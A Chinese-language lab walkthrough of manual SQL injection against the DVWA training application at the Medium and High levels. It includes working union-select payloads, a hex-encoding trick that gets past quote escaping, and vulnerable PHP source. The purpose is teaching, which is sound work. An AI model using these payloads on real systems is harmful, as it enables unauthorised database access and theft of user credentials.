前言
本章我们将进行Medium
和High
等级的DVWA SQL Injection手工注入。
阅读本篇文章前,你需要了解下面的知识:
- 转义字符在PHP中的作用
- MySQL:LIMIT语句的作用与用法
Medium Level SQL注入
和初级一样,我们输入如下语句:
11' order by 2 #
但得到了如下结果:
1`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`
返回页面,点击右下角的View Source
阅读源码,我们会发现:
1$id = mysql_real_escape_string($id);
出现了一个初级没有的方法:
mysql_real_escape_string
将字符串中的:
进行了转义
的处理,而我们使用的单引号被从'
转义为了\'
,所以注入语句无法执行。
换个思路,如果我们不使用单引号呢?
组建语句:
11 order by 2 #
返回结果:
1ID: 1 order by 2 #
2First name: admin
3Surname: admin
运气不错!但为什么会这样呢?
源码比对
对比低级和中级的SQL执行语句:
低级:
1$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
中级:
1$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用单引号
单独转换$id
为字符串,所以被称为数字型
注入。
实例测试
假设注入语句:
11' order by 2 #
注入到低级语句,组成语句:
1SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '
我们可以看到,虽然多出了一个单引号,但我们使用#
将其注释,所以#
后面的不生效,语句成立。
注入到中级语句时,单引号会被过滤,语句无效。
再试试中级的注入语句1 order by 2 #
注入到中级语句:
1SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2
没有单引号的干扰,语句可以正常执行。
目前已知可渗透条件
- 语句执行方法:
1 [SQL语句] #
- 如要使用
union
联合查询,必须返回两列,否则将报错。
Have a try
你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:
Trouble shooting
11 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
这本应该是一条正确的语句,但'users'
无论是使用单引号还是双引号都会被转义,所以我们应该将其转为16进制。
在Python中输入如下命令:
1import binascii
2print binascii.b2a_hex('users')
这会将users
转为16进制,这样我们就绕过了引号,且能被MySQL正常识别。
返回结果:
1>>> import binascii
2>>> print binascii.b2a_hex('users')
37573657273
7573657273
便是users
转换为16进制的结果。不仅可以使用Python进行进制转换,你也可以使用其它工具进行转换。
但7573657273
会被MySQL识别为整数
,我们需要将它包装为0x7573657273
才能被正常识别为16进制。
组成语句:
11 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
得到返回结果:
1ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
2First name: admin
3Surname: admin
4
5ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
6First name: 1
7Surname: user_id,first_name,last_name,user,password,avatar
成功!
High Level SQL注入
阅读源码:
1<?php
2
3if (isset($_GET['Submit'])) {
4
5 // Retrieve data
6
7 $id = $_GET['id'];
8 $id = stripslashes($id);
9 $id = mysql_real_escape_string($id);
10
11 if (is_numeric($id)){
12
13 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
14 $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
15
16 $num = mysql_numrows($result);
17
18 $i=0;
19
20 while ($i < $num) {
21
22 $first = mysql_result($result,$i,"first_name");
23 $last = mysql_result($result,$i,"last_name");
24
25 echo '<pre>';
26 echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
27 echo '</pre>';
28
29 $i++;
30 }
31 }
32}
33?>
这里使用的是DVWA1.8版本,我发现很多版本之间源码都有一定程度的不同,新版本更是增加了等级。
我们可以看到,它既封堵了分号的BUG,又同时将:
1SELECT first_name, last_name FROM users WHERE user_id = '$id'
数字型注入漏洞封堵了。所以该等级我换了一个版本的DVWA作演示:
DVWA1.9 - High Level
源码:
1<?php
2
3if( isset( $_SESSION [ 'id' ] ) ) {
4// Get input
5$id = $_SESSION[ 'id' ];
6
7// Check database
8$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
9$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
10
11// Get results
12$num = mysql_numrows( $result );
13$i = 0;
14 while( $i < $num ) {
15// Get values
16$first = mysql_result( $result, $i, "first_name" );
17$last = mysql_result( $result, $i, "last_name" );
18
19// Feedback for end user
20echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
21
22// Increase loop count
23$i++;
24 }
25
26mysql_close();
27}
28
29?>
通过和中级的对比,我们可以看到多出了LIMIT 1
的限制,它限制只输出一条结果。但由于我们使用了#
进行注释,所以使用中级的方法就可以保证LIMIT 1
不被执行。
后语
本文通过DVWA讲述了手工SQL注入的思路,更多进阶的知识还需要自己去旁敲侧击摸索出来,祝好运。